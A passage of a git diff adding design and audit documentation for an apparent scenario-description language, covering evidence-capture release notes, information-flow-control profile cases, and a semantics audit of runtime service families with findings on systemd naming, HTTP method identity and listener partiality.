their progressive-profile shapes for historical admission, replays the same controls against current code, and records only the two compiler representation digest changes caused by the realization-evidence source correction. No outcome or preregistered claim strength changes. + +## Participant relationship replay + +Release 26.0.0 records a fresh replay after ACT-612 participant relationship +authoring and the merged augmentation scope implementation. +[`execution-snapshot-v25.json`](execution-snapshot-v25.json) binds the current +source digest; [`analysis-v25.json`](analysis-v25.json) retains the protocol’s +bounded classifications and claim limits. Prior captures retain their exact +bytes. These retained controls do not establish realized coordination, +delegation, cooperation, competition, or supervision. + +## Participant-local outcome source replay + +Release 43.0.0 records issue #218 in +[`execution-snapshot-v42.json`](execution-snapshot-v42.json) and +[`analysis-v42.json`](analysis-v42.json). The retained controls are replayed +against the participant-local outcome implementation. Prior outcomes and claim +limits remain unchanged; ACT-618 behavior is verified by its dedicated runtime +tests. Earlier captures retain their original bytes. + +Release 44.0.0 records the outcome implementation after maintainability +refactoring in [`execution-snapshot-v43.json`](execution-snapshot-v43.json) and +[`analysis-v43.json`](analysis-v43.json). Fresh replay retains the same bounded +outcomes and claim limits; it does not add a new semantic claim. + +Release 45.0.0 records the merged participant identity and local +outcome implementation in [`execution-snapshot-v44.json`](execution-snapshot-v44.json) +and [`analysis-v44.json`](analysis-v44.json). The two pre-merge issue #218 +captures retain their observations and source identities in v42 and v43; only +their release numbers, paths, and corresponding digest joins were reconciled +with the independently published issue #1338 capture. The combined capture +uses the issue #1338 baseline and preserves the same bounded claim limits. + +Release 46.0.0 records issue #1357's governed v2 decision admission in +[`execution-snapshot-v45.json`](execution-snapshot-v45.json) and +[`analysis-v45.json`](analysis-v45.json). Its original bytes and source identity +are retained. Crossing authorization is exercised by dedicated runtime tests, +outside this formal corpus. + +Release 47.0.0 records issue #1358's egress outcome implementation and governed +projection replay refactor in [`execution-snapshot-v46.json`](execution-snapshot-v46.json) +and [`analysis-v46.json`](analysis-v46.json). The earlier issue #1358 capture, +which collided with the independently published release 46.0.0, remains in +feature commit `c54060dd591f4c09dda49be7a5b04fde83efe02e` rather than the +release index. Its observations are not relabeled as combined-source evidence. + +Release 48.0.0 replays the retained controls against the merged source +in [`execution-snapshot-v47.json`](execution-snapshot-v47.json) and +[`analysis-v47.json`](analysis-v47.json). It retains the issue #1338 baseline, +bounded claims, and unsupported classes. Final egress denial and governed +admission are verified by dedicated runtime regressions. + +## Backend operation contract source replay + +Release 49.0.0 binds issue #1360 to fresh source evidence in +[`execution-snapshot-v48.json`](execution-snapshot-v48.json) and +[`analysis-v48.json`](analysis-v48.json). The retained offline cases preserve +their classifications and claim limits. Backend supervision contracts have +dedicated contract tests; this capture makes no live backend recovery claim. +Earlier published captures retain their exact bytes. + +Release 50.0.0 binds the reference-backend opt-in correction to +[`execution-snapshot-v49.json`](execution-snapshot-v49.json) and +[`analysis-v49.json`](analysis-v49.json). The retained claims and +classifications are unchanged. + +Release 51.0.0 binds the operation validator maintainability changes to +[`execution-snapshot-v50.json`](execution-snapshot-v50.json) and +[`analysis-v50.json`](analysis-v50.json). The retained claims and +classifications are unchanged. + +Release 52.0.0 replays the retained controls on the merged source in +[`execution-snapshot-v51.json`](execution-snapshot-v51.json) and +[`analysis-v51.json`](analysis-v51.json). Earlier captures retain their source identities. + +Release 53.0.0 replays the retained controls on the source combining issue +#1360 backend-operation contracts with issue #1358 denied-egress handling in +[`execution-snapshot-v52.json`](execution-snapshot-v52.json) and +[`analysis-v52.json`](analysis-v52.json). Earlier captures retain their source identities. + +Release 54.0.0 replays the retained formal controls against issue #1355's mixed +mapping, time, and handoff implementation in +[`execution-snapshot-v53.json`](execution-snapshot-v53.json) and +[`analysis-v53.json`](analysis-v53.json). Mixed runtime effects and recovery +remain covered by dedicated runtime tests, outside this formal corpus. + +Release 55.0.0 is recorded in +[`execution-snapshot-v54.json`](execution-snapshot-v54.json) and +[`analysis-v54.json`](analysis-v54.json). It replays the retained formal cases +after issue #1389 admitted the exact participant inject delivery address as a +temporal subject. Outcomes and bounded claim limits remain unchanged. + +Release 56.0.0 replays the retained controls on the source that adds issue +#1361 trial execution-authority admission, in +[`execution-snapshot-v55.json`](execution-snapshot-v55.json) and +[`analysis-v55.json`](analysis-v55.json). Earlier captures retain their source identities. + +Release 57.0.0 replays those formal cases against the API-424 v2 contract +refactor in [`execution-snapshot-v56.json`](execution-snapshot-v56.json) and +[`analysis-v56.json`](analysis-v56.json). Outcomes and bounded claims remain +unchanged; provider installation and effect realization are outside this corpus. + +Release 58.0.0 replays those formal cases against the API-424 contract +quality-gate refactor in [`execution-snapshot-v57.json`](execution-snapshot-v57.json) +and [`analysis-v57.json`](analysis-v57.json). Outcomes and bounded claims remain +unchanged; provider installation and effect realization are outside this corpus. + +Release 59.0.0 replays the retained cases against the merged issue #1361 and +API-424 source in [`execution-snapshot-v58.json`](execution-snapshot-v58.json) +and [`analysis-v58.json`](analysis-v58.json). Outcomes and bounded claims remain +unchanged; provider installation and effect realization are outside this corpus. + +Release 60.0.0 replays the retained cases after issue #1400 reverted the trial +execution-authority admission from #1361. It binds the post-revert API-424 source +in [`execution-snapshot-v59.json`](execution-snapshot-v59.json) and +[`analysis-v59.json`](analysis-v59.json). Earlier captures retain their source +identities; this release makes no provider installation or realization claim. + +Releases 61.0.0 and 62.0.0 preserve the two issue #971 captures previously +numbered 56.0.0 and 57.0.0 on its feature branch. Their source identities, +execution identifiers, observations, and claim limits are retained in +[execution-snapshot-v61.json](execution-snapshot-v61.json) and +[execution-snapshot-v62.json](execution-snapshot-v62.json). The second capture's +baseline now points to the relocated first capture. The integrated releases +56.0.0–60.0.0 retain their original artifacts. + +Release 63.0.0 replays the retained cases against the merged issue #971 crossing +models and API-424 control contracts in +[execution-snapshot-v63.json](execution-snapshot-v63.json) and +[analysis-v63.json](analysis-v63.json). Outcomes and bounded claim limits remain +unchanged. This is construction evidence, with no participant-crossing +equivalence or runtime-realization claim. + +Release 64.0.0 repeats the retained cases after the locked PyJWT dependency +upgrade to 2.14.0 in [execution-snapshot-v64.json](execution-snapshot-v64.json) +and [analysis-v64.json](analysis-v64.json). Outcomes and claim limits remain +unchanged. + +Release 65.0.0 is recorded in +[`execution-snapshot-v65.json`](execution-snapshot-v65.json) and +[`analysis-v65.json`](analysis-v65.json). It replays the retained formal cases +after issue #1359 enforced the administrative-only runtime control-plane +boundary. Outcomes and bounded claim limits remain unchanged. + +Release 66.0.0 repeats the retained cases after the locked PyJWT dependency +upgrade to 2.15.1 and the urllib3 upgrade to 2.8.0 in +[`execution-snapshot-v66.json`](execution-snapshot-v66.json) and +[`analysis-v66.json`](analysis-v66.json). Outcomes and claim limits remain +unchanged. + +Release 67.0.0 replays the retained formal cases after issue #1401 began +rejecting required evidence whose declared media type the output registry +cannot prove, in [`execution-snapshot-v67.json`](execution-snapshot-v67.json) +and [`analysis-v67.json`](analysis-v67.json). Outcomes and claim limits remain +unchanged. diff --git a/docs/research/ifc-profile-variability/cases.md b/docs/research/ifc-profile-variability/cases.md new file mode 100644 index 000000000..8d27e18a7 --- /dev/null +++ b/docs/research/ifc-profile-variability/cases.md @@ -0,0 +1,92 @@ +# IFC profile variability: cases and evidence + +This is the bounded evidence record for [ADR-114](../../decisions/adrs/adr-114-ifc-profile-variability-and-publication.md) +and [IFC-01–IFC-07](../../../specs/formal/participant-semantics/ifc-profile-variability.md). +The examples use synthetic owners and references, not proposed SDL syntax or +new registered profile artifacts. + +## Independent owners + +A's confidentiality policy admits Alice/Bob; B's admits Bob/Carol. A derived +summary has both obligations. Its confidentiality outcomes are: + +| Reader | A's clause | B's clause | Joined summary | +| --- | --- | --- | --- | +| Alice | satisfied | unsatisfied | deny | +| Bob | satisfied | satisfied | permit if every other gate passes | +| Carol | unsatisfied | satisfied | deny | + +At an exact sink/cut, A may authorize a fresh derived result discharging A's +clause. B's remains, so Carol can then satisfy confidentiality while Alice +cannot. A cannot discharge B's clause. If both initially name the same reader +set, they still remain distinct because A and B may release independently. +Mapping both to one `restricted` token either loses that distinction or blocks +sharing the authored requirement demands. The current artifact does not +directly support this case; a new finite publication and coordinated consumers +are needed. This is not evidence that every contextual encoding is impossible. + +For integrity, independent possible influences create `{I_A, I_B}`. A's +endorsement of its contribution leaves `I_B`; an action requiring no unresolved +integrity obligations still denies. A deliberately permissive observation +policy can accept known B influence without endorsement, but that observation +does not delete B's influence from a later proposal. Confidentiality and writer +provenance remain unchanged. The model's discharge is semantic: the current +wire replacement carrier needs the explicit correspondence described by IFC-03 +before supporting an owner-aware publication. + +## Support and failure cases + +| Case | Expected decision and evidence | +| --- | --- | +| Two independent owners mapped to distinct known tokens in each coordinate | Expressible in the synthetic finite profile; still requires complete realization evidence. | +| Missing mapping, duplicate owner binding, collapsed owners, unknown token or unresolved token used as an owner | Unsupported expression. An unresolved token is not extra expressiveness. | +| Owner token added to the real v1 JSON | Shape-valid but rejected by exact published-profile validation. The original profile remains loadable and unchanged. | +| Complete encoding but missing source, memory path or required sink instrumentation | Unsupported realization. Profile membership cannot replace coverage. | +| Evidenced bounded explicit-boundary guarantee admitted by the requirement | Admissible semantic case; current v1 composition still rejects non-exact support. No runtime adoption is claimed. | +| Requirement demands an additional guarantee that the realization lacks | Refuse admission, regardless of downgrade authority. | +| Run admitted additional guarantees, then loses one while still meeting the earlier floor | Record weakened and block affected release; do not silently lower the promise. | +| Profile/configuration changes or evidence becomes unresolved | Unsupported current binding; independently admit a new binding at a new cut. | +| A's grant used for B, another source/profile, sink or cut | Refuse release; no obligation or history is rewritten. | +| Opaque combination, retained memory, handoff or episode change | Preserve both coordinates and provenance; unknown coverage never permits a sink. | + +The finite model uses independently trusted coverage and grants and a set of +comparable synthetic guarantee facts. It does not define a universal ordering +for arbitrary backend limitations or solve general contextual encodings. Its +singleton-token encoding fragment requires independent release, so mappings +must distinguish each required owner. Finiteness alone places no one-owner +limit on the SEM-233 algebra. + +## Verification and clause map + +`implementations/python/tests/ifc_profile_variability_model.py` reuses the +incumbent SEM-233 finite model for derivation, sink conjunction, coordinate +rewrites and immutable provenance. It adds a finite expression/admission check, +admitted-versus-observed comparison and scoped grants. The companion +`test_issue_1354_ifc_profile_variability.py` drives the separating cases above +and the actual published profile model/schema. These are behavioral checks, +not assertions that prose contains its own terminology. + +`test_issue_1354_governance.py` exercises the real requirement ownership and +issue-scope evaluators, including refusal to treat runtime implementation as +SEM-235 semantic-publication work. Its tests were observed failing before the +new exact-path ownership/scope data was added. The semantic tests were observed +failing before their finite interpretation existed; additional source/profile +grant cases exposed the missing grant binding before its repair. + +| Acceptance/requirement clause | Satisfying artifact and evidence | +| --- | --- | +| Issue: authored/profile/backend distinctions and owner-qualified cases | IFC-01–02; owner encoding, audience intersection and selective release tests. | +| Issue: unsupported expression/realization and admitted strength versus weakening | IFC-04–05 and support tests; CA-04 remains the canonical satisfaction relation. | +| Issue: conservative propagation, independent coordinates, release authority and provenance | IFC-02–03; scoped grant, endorsement, retained-memory tests and incumbent SEM-233 behavioral tests. | +| Issue: accepted decision, exact limits, requirement/ADR amendments and migration | ADR-114, IFC-06–07, SEM-233/235 and ADR-101/108 amendments; actual profile rejection, ownership/scope and ADR pin checks. | +| SEM-233: independent coordinates, propagation, authority distinctions and final-sink contract | Incumbent adversarial-flow-control.md and its existing contract/runtime links remain authoritative; IFC-01–07 clarify expressibility and publication without changing those implementations. | +| SEM-235: revisioned domains, joins, defaults, memory, release and finite composition | Incumbent MPC-01–MPC-15 remain; IFC-01–03/06 specialize publication limits and retain non-security domains. | +| SEM-235: coverage, dependencies, advice, bounded support, atomic state and effects | CA-01–CA-09 remain; IFC-04–05 explicitly compose with them. Existing #1352 finite witnesses exercise those retained clauses; no runtime fulfillment upgrade. | +| SEM-235: fresh transformations/injects, visibility, provenance, admission and budgets | Incumbent MPC-09–MPC-14 and CA-05–CA-09 remain; IFC-05/07 and migration preserve them across profile changes. | + +Local verification uses only the new focused modules, relevant existing +SEM-233/#1352 modules and changed-artifact policy checks. Full suites remain in +CI. New backend adoption still requires the real consumer evidence listed in +the migration contract: the finite model proves no live mediation, portable +owner-aware reader, arbitrary noninterference, durable atomicity, recovery, +intentional-subversion robustness or installed backend capability. diff --git a/docs/research/language-extensibility/product-semantics-audit.md b/docs/research/language-extensibility/product-semantics-audit.md new file mode 100644 index 000000000..de200addb --- /dev/null +++ b/docs/research/language-extensibility/product-semantics-audit.md @@ -0,0 +1,263 @@ +# Scenario- and product-shaped SDL semantics audit + +Issue [#959](https://github.com/OpenRAE/rae/issues/959), reviewed 2026-09-16 +against `2ed2d97cee641419912dfd2e4e2e4b0c9c61f35e`. +This is the current semantic supplement to the existing +[scope inventory](scope-inventory.md), not another runtime-family registry. + +The review found three local defects: service-manager naming, HTTP method +identity and partial listener completeness. Their focused corrections shipped in +[#1297](https://github.com/OpenRAE/rae/issues/1297), +[#1298](https://github.com/OpenRAE/rae/issues/1298) and +[#1299](https://github.com/OpenRAE/rae/issues/1299), and the integrated +conformance evidence in #1211 consumes those corrected boundaries. It also +corrects current +explanatory prose that still described guards removed by #1207. The original +platform-application defect was corrected by +[#956](https://github.com/OpenRAE/rae/issues/956); that correction remains intact. + +Completion of this audit is not a claim that every runtime field supports every +product, every partial observation, or every backend. Integrated lifecycle +acceptance and prevention remain owned by +[#1211](https://github.com/OpenRAE/rae/issues/1211). The distinction matters: +catalog acceptance alone does not prove a portable surrounding shape. + +## Method and evidence boundaries + +1. Start with the 17 families in the + [normative runtime index](../../../specs/sdl/runtime-inventory.md) and its + existing Python registry. Add service-manager units because the #1206 + inventory explicitly identifies their systemd-shaped state. Review the + adjacent surfaces listed below against their existing owners. +2. Trace each family to its motivating capture, owning ADR and + [lineage](../../explain/sdl/lineage.md). The historical + [SCN-010 report](../../raes/inventory/scn010-expressivity-gap-analysis.md) + explains why the datastore, platform, authorization, cadence, forwarding and + orchestration surfaces exist. Its specimen-derived mandatory-profile rules + are historical evidence, not current authoring requirements. +3. Inspect model fields, declared defaults, registered model validators and + cross-reference consumers. Read the corresponding definitions in the + published authoring/instantiated/snapshot schemas. Test actual acceptance: + an optional schema property can still be compulsory in a model validator. +4. Classify the primary semantic owner of every selected field in the + [field ledger](product-semantics-fields.md). Its 115 models and 899 fields + include every recursively reachable child and inherited field. Reuse + #1206's term-level vocabulary dispositions; inspect non-enum restrictions + such as HTTP methods and native name validators separately. +5. Apply the issue rubric to each row: meaning independent of a product; + legitimate second/private implementation; mandatory shape justified by the + selected contract; independent content/capability/binding/policy/evidence + owners; bounded native data; explicit version/support semantics; and no + conflation of validity with completeness or conformance. +6. Check inherited open scope, exact descendants, conditional optional presence, + omitted/empty/unknown distinctions, abstraction-level completeness and + independently requested observation. Missing backend choices require no + per-field waiver, core catalog entry or replacement extension catalog. +7. Reproduce candidate failures before labeling them defects. Compare confirmed + cases with primary sources and existing lineage. Record a focused issue with + affected contracts, compatibility/migration and test impact. Record retained + exceptions with the same care. + +The existing `audit.py census` is a discovery aid. At this baseline it reports +278 authoring enums, 144 with `other` or `unknown`; these are candidate counts. +The 2026-09-04 probes and counts in the scope inventory remain historical. +This pass does not relabel them as current failures or execute their old API +assumptions as a new conformance suite. Current evidence uses model inspection, +the counterexamples below and the named current tests. + +### Shared schema and consumer trace + +All selected family models appear under the `RuntimeConfiguration` graph in +the published SDL [authoring schema](../../../contracts/schemas/sdl/sdl-authoring-input-v1.json), +[instantiated schema](../../../contracts/schemas/sdl/instantiated-scenario-v1.json) +and [snapshot schema](../../../contracts/schemas/sdl/instantiated-scenario-snapshot-v1.json). +The field ledger links each model to its current defining source. The owning +ADRs below define semantics; published schemas remain hand-governed contract +authority with reference-generator parity, per ADR-009. + +Common consumers are the safe YAML/source pipeline, `SDLModel`, variable +instantiation, the collect-all semantic validator, runtime reference traversal +and module composition, compiler recursive constraints, canonical serialization, +runtime concern projection and snapshot/description codecs. Selected-operation +admission is a separate planner/backend boundary. These consumers are why a +follow-up must migrate source, schemas, comparison and round trips together. + +The [#1206 implementation dispositions](scope-inventory.md#issue-1206-implementation-dispositions-2026-09-12) +name the shared vocabulary owner for each enum definition. Native names, wire +tokens, provider IDs, digests and data payloads remain in their owning fields; +they are not all converted to `x-owner:` identifiers. New operational meaning +uses existing pinned domain-profile admission, not an audit-local interpreter. + +## Registered-family dispositions + +“Sound” means sound for the bounded contract examined here. It does not certify +every optional child profile as universal or claim backend execution. All rows +inherit the shared schema/consumer trace above and the field ledger. A field +without a listed exception retains its typed owner; a product-specific field +does not become portable merely because the surrounding family is sound. + +| Family | Specimen and authority | Guard, example and disposition | +| --- | --- | --- | +| `service_listeners` | MISP/nginx/supervisord binds, #431; [ADR-043](../../decisions/adrs/adr-043-runtime-service-listener-surface.md); osquery, Nmap, socket and publication lineage | **Local semantic defect**, F3 below. `validate_listener_shape` requires complete network/Unix endpoints even when choices are unmentioned. Keep known scope/address-family contradictions and reference checks. `test_runtime_service_listeners.py` covers complete MISP binds and negative controls; it does not establish partiality. | +| `applications` | Participant-visible HTTP routes, #367; [ADR-026](../../decisions/adrs/adr-026-application-http-surface-inventory.md), extended by [ADR-052](../../decisions/adrs/adr-052-typed-runtime-relationship-subtypes.md) for Shuffle/nginx upstreams | **Local semantic defect**, F2. `normalize_methods` imposes nine methods and uppercase identity. Keep local route IDs, duplicate bindings, response bounds, disclosure controls and proxy agreement. HTTP/HTTPS-only upstreams are an explicitly narrow profile, not a universal application transport. Parser/model/validator suites contain the route examples. | +| `database_services` | PostgreSQL #388 and SCN-010 MariaDB confirmation; [ADR-029](../../decisions/adrs/adr-029-database-logical-state-runtime-surface.md); relational/SQL lineage | **Sound as a relational inventory.** `validate_service` preserves unique objects/grants and supplied engine/protocol consistency; #1207 permits missing protocol knowledge. Database/schema/table structure is deliberately relational, not a substitute for Redis or Cassandra. Keep database roles distinct from local/directory identities. #1207 partial-description tests cover omitted protocol and exact state. | +| `dns_services` | DNS inventory #426; [ADR-039](../../decisions/adrs/adr-039-dns-service-runtime-inventory.md); RFC 1035/2181/3597 and IANA identity | **Sound within the typed DNS profile.** Zone/RRset validators enforce identity and typed RDATA consistency; a present RRset describes records, not proof of complete zone capture. `other` plus numeric `type_code` preserves exact unknown-type identity. #1206 consumer/schema tests protect this exception. An omitted zone collection does not assert a complete empty DNS server. | +| `identity_authorities` | TechVault Active Directory #401; [ADR-032](../../decisions/adrs/adr-032-directory-domain-identity-runtime-surface.md); LDAP, Kerberos, SCIM, SAML/OIDC and RBAC/ABAC | **Sound corrective precedent.** Authority/subject/policy/relationship records use stable local IDs, shared uniqueness and resolved references. SID, DN, issuer and principal names remain native data. No AD domain/controller/group recipe is mandatory. Exact private identities and optional inventories use #1206 coverage; attributes alone claim no executable extension support. | +| `file_services` | TechVault Samba/fileshare #421; [ADR-037](../../decisions/adrs/adr-037-runtime-file-service-and-filesystem-presence-semantics.md); file-sharing and access-control lineage | **Sound within its declared share/access profile.** Service, share, principal, access-rule and access-observation owners are separate. Supplied references and protection classes stay checked; a share is not proof that a probe succeeded. SMB-shaped options such as `browseable` remain optional named configuration, not universal identity or an NFS export model. Existing parser/validator and observed-value tests exercise this boundary. | +| `mail_services` | TechVault Postfix/Dovecot #420; [ADR-038](../../decisions/adrs/adr-038-runtime-mail-service-logical-state.md); SMTP/IMAP and mail-service lineage | **Sound within the mail profile.** `validate_service` checks supplied child identities and references. Components, listener capabilities, routing policy, mailbox identities, queues and settings are distinct. No queue count or Postfix setting is mandatory; credential posture has no raw-password slot. `test_runtime_mail_service.py` and #1206 vocabulary/round-trip cases retain this shape. | +| `network_sensors` | NSM/IDS capture #429; [ADR-042](../../decisions/adrs/adr-042-network-sensor-runtime-monitoring.md) | **Sound inventory boundary.** `validate_unique_refs` checks declared scope/evidence references; implementation and capture-mode identities are extensible. Passive/inline posture and capture interfaces are configuration, not proof that packets were collected. `test_runtime_network_sensor.py` plus independent demand tests protect that distinction. | +| `network_detection_engines` | Suricata #430 and SCN-010 confirmation; [ADR-044](../../decisions/adrs/adr-044-network-detection-engine-runtime-inventory.md); Suricata/Snort/Zeek, Sigma/YARA/STIX lineage | **Sound bounded manifest.** `validate_engine` checks uniqueness, not compulsory rule sources or reload controls. Native rule format and optional control capabilities do not import a rule interpreter. Keep sensor, engine, output and evidence ownership separate. `test_runtime_network_detection.py` and #1206 tests cover portable/private identities. | +| `security_monitoring_managers` | Wazuh #428 and parsed definition captures; [ADR-040](../../decisions/adrs/adr-040-security-monitoring-manager-runtime-inventory.md), [ADR-045](../../decisions/adrs/adr-045-security-monitoring-detection-definition-semantics.md); NIST log management, Sigma/OCSF lineage | **Sound as bounded inventory, with retained native detail.** `validate_manager` checks identity; definition validation checks digest pairs and source ranges, not mandatory Wazuh components/agents. Optional decoder/SID/ATT&CK fields are captured native content, not universal detection semantics or authored concept-binding authority. `test_runtime_observed_values.py`, family invariants and #1206 cases cover the boundary. | +| `ssh_servers` | TechVault sshd policy; [ADR-031](../../decisions/adrs/adr-031-ssh-server-configuration-surface.md) | **Sound as an explicitly bound SSH daemon-policy profile.** The required same-node `service` is explicit in ADR-031; match and forced-command semantics are deliberately SSH-scoped. This is not a generic remote-access model. `test_runtime_ssh_server.py` covers redaction and match rules. #1299 separately requests a decision on authoring partial SSH knowledge without that binding; this audit does not claim it is already supported. | +| `app_authorizations` | SCN-010 OpenSearch/Redis/Cassandra/dashboard/app stores; [ADR-046](../../decisions/adrs/adr-046-app-authorization-runtime-inventory.md); RBAC96 and NIST ABAC | **Naming/documentation debt, corrected in current guidance.** #1207 removed compulsory grants/profile coverage. `validate_app_authorization` retains identities and role/mapping references; deny-only and empty state are legitimate. `cql_resource`/`redis_acl` are external vocabulary identities, not mandatory grant catalogs. Closed grant effects and credential classes remain policy. `test_runtime_app_authorization.py` and #1207 regressions cover this. | +| `scheduled_jobs` | SCN-010 MISP/IOC-sync cadence; [ADR-047](../../decisions/adrs/adr-047-scheduled-job-runtime-inventory.md); POSIX crontab/RFC 5545 | **Sound bounded cadence profile.** Optional schedule and run-state do not require a systemd timer. Interval/cron/calendar name supported grammar families; they are not a product catalog or proof that `spec` is executable. Payload/target ownership stays with forwarding or workflow contracts. `test_runtime_scheduled_job.py` covers the cadence-only boundary. | +| `datastore_services` | SCN-010 OpenSearch/Elasticsearch, Cassandra, Redis; [ADR-048](../../decisions/adrs/adr-048-datastore-service-runtime-inventory.md), node provenance [ADR-058](../../decisions/adrs/adr-058-datastore-node-engine-provenance-and-endpoints.md) | **Naming/documentation debt, corrected in current guidance.** #1207 removed mandatory geometry/mappings/replication/persistence. `validate_datastore_service` keeps supplied partition contradictions, local IDs and manifest refs. Optional RDB/AOF data remains native compatibility detail, not universal persistence semantics. `test_runtime_datastore.py` and #1207 cases cover nonpersistent cache and partial search/wide-column descriptions. | +| `platform_applications` | SCN-010 MISP, dashboards, TheHive, Cortex, Shuffle; [ADR-049](../../decisions/adrs/adr-049-platform-application-runtime-inventory.md); ADR-032, STIX/TAXII/CACAO separations | **Sound after #956 for the audited boundary.** `validate_platform_application` checks local identities. Zero or multiple capabilities are independent of optional content, bindings, policy, authorization and evidence. Deprecated `platform_kind` and bounded `content_objects` stay compatibility data. `test_runtime_platform_application.py` preserves empty/default and multi-role cases. No MISP corpus is mandatory. | +| `forwarding_agents` | SCN-010 Wazuh sidecars and MISP-to-Suricata sync; [ADR-050](../../decisions/adrs/adr-050-forwarding-agent-runtime-inventory.md); syslog, OpenTelemetry Collector and content-sync lineage | **Naming/documentation debt, corrected in current guidance.** #1207 permits composed/partial pipelines; `validate_forwarding_agent` retains local identity. A synchronizer need not use IOC conversion, API pull, enrollment, buffering or reload. Supplied relationship/target agreement remains checked. Ownership role does not prove successful forwarding. `test_runtime_forwarding_agent.py` and #1207 non-IOC cases are executable evidence. | +| `orchestration_authorities` | SCN-010 Shuffle/Cortex/control-interface holders; [ADR-051](../../decisions/adrs/adr-051-orchestration-authority-runtime-inventory.md); OCI, Kubernetes controller and Docker API lineage | **Naming/documentation debt, corrected in current guidance.** #1207 permits unknown interface knowledge; supplied same-node refs still resolve. `validate_orchestration_authority` keeps child identity. `host_root_equivalent` is a declared privilege fact, not authorization; a filename ending in `docker.sock` proves neither. `test_runtime_orchestration.py` and selected-admission tests retain authority checks. | + +## Adjacent surfaces and retained exceptions + +| Surface and evidence owner | Disposition and rationale | +| --- | --- | +| Service-manager units, workstation #418 / aptl#334; [ADR-035](../../decisions/adrs/adr-035-service-manager-unit-state-runtime-surface.md) | **Local semantic defect**, F1. Included in the field ledger. Optional systemd state is useful, but its native naming rule is unconditional. | +| Packages, repositories, software, images; ADR-023/034 and [software requirements](../../../specs/sdl/software-requirements.md) | **Sound within the corrected #1205 boundary.** Required software identity, optional acquisition and resulting state have separate owners. Purls, hashes, build instructions and image references are bounded native data. They do not force a package manager or repository for an abstract node. #1206 extends descriptive identity; it does not turn labels into installers. | +| Local identity, filesystem presence, mounts and control interfaces; ADR-024/037/056/057 | **Sound as explicitly scoped host-state profiles.** UID/GID, Unix paths and sudo facts describe that platform; they are not prerequisites for all nodes. Explicit absence, unknown knowledge and redaction remain distinct. Directory principals, app grants and authored accounts retain separate owners. No generic credential/configuration bag is introduced. | +| Container networking, init/reaper, capabilities and limits; ADR-025/027 and `runtime_container*` | **Sound as named platform profiles.** Linux capabilities, OCI/container options and Dockerfile observations have bounded native meanings. Their availability does not force concrete infrastructure or give host privileges. Actual OS/runtime support stays with admission. | +| Node OS/architecture/substrate; #1076/#1077 and #1206 | **Sound corrected identity seam.** Open abstract nodes need no fabricated OS/image choice. Exact supplied identities stay binding; private identity does not establish implementation support. | +| Generated artifacts, content materialization, enterprise identity/access and participant resource profiles; #1208 | **Architectural redesign required at the historical baseline; delivered by the existing #1208 owner.** Its shared typed profile selections replace closed product/implementation menus while preserving output, sensitivity, unit, ownership and admission semantics. This audit does not create another profile host or claim every private operation is implemented. | +| Classification bindings and retained native detection/marking data; #989 and GOV-922 | **Sound separated ownership, with a documentation qualification.** #989 is closed; old scope-inventory statements that it is pending are historical. Authored classifications use generic bindings. A captured detection rule's native tags and a platform's marking policy are not automatically those bindings. Bounded TLP/PAP compatibility records do not claim arbitrary marking-scheme execution or enforcement. | +| Typed forwarding, service-integration and proxy relationships; ADR-052 | **Sound composition boundary.** Scenario edges carry trust/integration relationships and reference the inventory owner. Where endpoint facts overlap, semantic agreement checks retain one meaning. No new relationship or duplicate ship-target owner is needed. | +| Recursive realization, descriptions and observation demand; #1202/#1203/#1204/#1209/#1212 | **Architectural redesign required at the historical baseline; corrections delivered by these existing owners.** Recursive authority preserves exact siblings under open parents. Descriptions carry missing/unknown coverage without inventing values. Detail and observation demand remain independent. #1211 owns integrated acceptance; no whole-language success claim follows from these bounded tests. | +| Grammar operators, grant effects, protection classes, schema versions, solver bounds and backend driver modes | **Sound retained closed boundaries.** Each token selects defined semantics or an implementation mode. Arbitrary strings must not become an operation, a permission, a successful observation or a formal guarantee. These are false positives for a catalog census. | + +Retained native manifests deserve explicit limits. Redis RDB/AOF options, Wazuh +decoder/SID relations, platform legacy content attributes and systemd states +are optional data under their containing versioned contract. They do not supply +a universal persistence, detection, application-content or service-manager +semantic model. Their shape is not a substitute for a pinned typed extension +when a new executable meaning is required. An arbitrary attribute bag is never +evidence that a previously absent portable concept has been modeled. + +## Confirmed findings and correction contracts + +### F1 — Generic manager identity still requires systemd names + +`ServiceManagerUnit` with `unit_id=web`, `manager_kind=x-openrc:openrc` and +`unit_name=nginx` fails `_validate_unit_name` with the unit-type-suffix error. +The manager token is accepted; the surrounding shape is not portable. Omitted +manager identity also materializes the systemd default. + +The [OpenRC service guide](https://github.com/OpenRC/openrc/blob/master/service-script-guide.md) +uses unsuffixed native service names. [#1297](https://github.com/OpenRAE/rae/issues/1297) +owns separating native identity and platform state profiles, preserving explicit +systemd records and resolving legacy omitted-manager compatibility. Its tests +must cover exact names, duplicates, redaction, source/schema parity and lifecycle +round trips. Appending a fake `.service` suffix is not a migration. + +### F2 — An observed HTTP method is treated as a closed operation catalog + +The original defect made `RuntimeApplicationRoute` reject `methods=[PROPFIND]` +and normalize every accepted spelling as though the field were a nine-member +operation catalog. [RFC 9110 §9.1](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.1) +defines case-sensitive method tokens; [RFC 4918 §9.1](https://www.rfc-editor.org/rfc/rfc4918.html#section-9.1) +defines PROPFIND. These are protocol identities in an inventory, not permission +to invoke a backend operation. + +[#1298](https://github.com/OpenRAE/rae/issues/1298) delivered the wire-token +grammar, exact extension identity and explicit compatibility for normalized +built-ins. Its migration preserves serialized uppercase methods and reconciles +duplicates, variables, schemas and comparison. Focused and #1211 integrated +tests cover private case-sensitive tokens, WebDAV, malformed/control characters +and unchanged execution authorization. + +### F3 — Listener knowledge is forced into a complete endpoint + +`RuntimeServiceListener` with `service_listener_id=web`, `protocol=tcp` and +`port=80` fails because it lacks `address` or `bind_interface`. An explicit +unknown transport with only a local ID fails because all non-Unix values enter +the network endpoint branch. An inherited open parent cannot delegate an +omitted bind choice before that model guard runs. + +[Nmap's port-state documentation](https://nmap.org/book/man-port-scanning-basics.html) +and ADR-043's own lineage distinguish remote observations from in-node bind +knowledge. [#1299](https://github.com/OpenRAE/rae/issues/1299) owns conditional +partiality and selected complete-endpoint admission. Existing complete records, +port bounds, supplied address-family/scope contradictions and reference checks +remain valid. Its migration must preserve missing/unknown/empty distinctions +and exact children, without manufactured wildcard binds or automatic telemetry. +The explicitly required SSH service binding is an adjacent review question, +not a claim that SSH's stated daemon-policy profile is already defective. + +### F4 — Current guidance repeats removed specimen guards + +The validation, limitations and lineage guides still described mandatory +datastore geometry/persistence, the IOC-to-rule/reload recipe and the +read-write Docker-socket suffix test. Current model source, accepted #1207 ADR +amendments and the runtime index disagree with that prose. This audit corrects +those current guides and replaces the required-profile recommendation with +the review checklist below. The 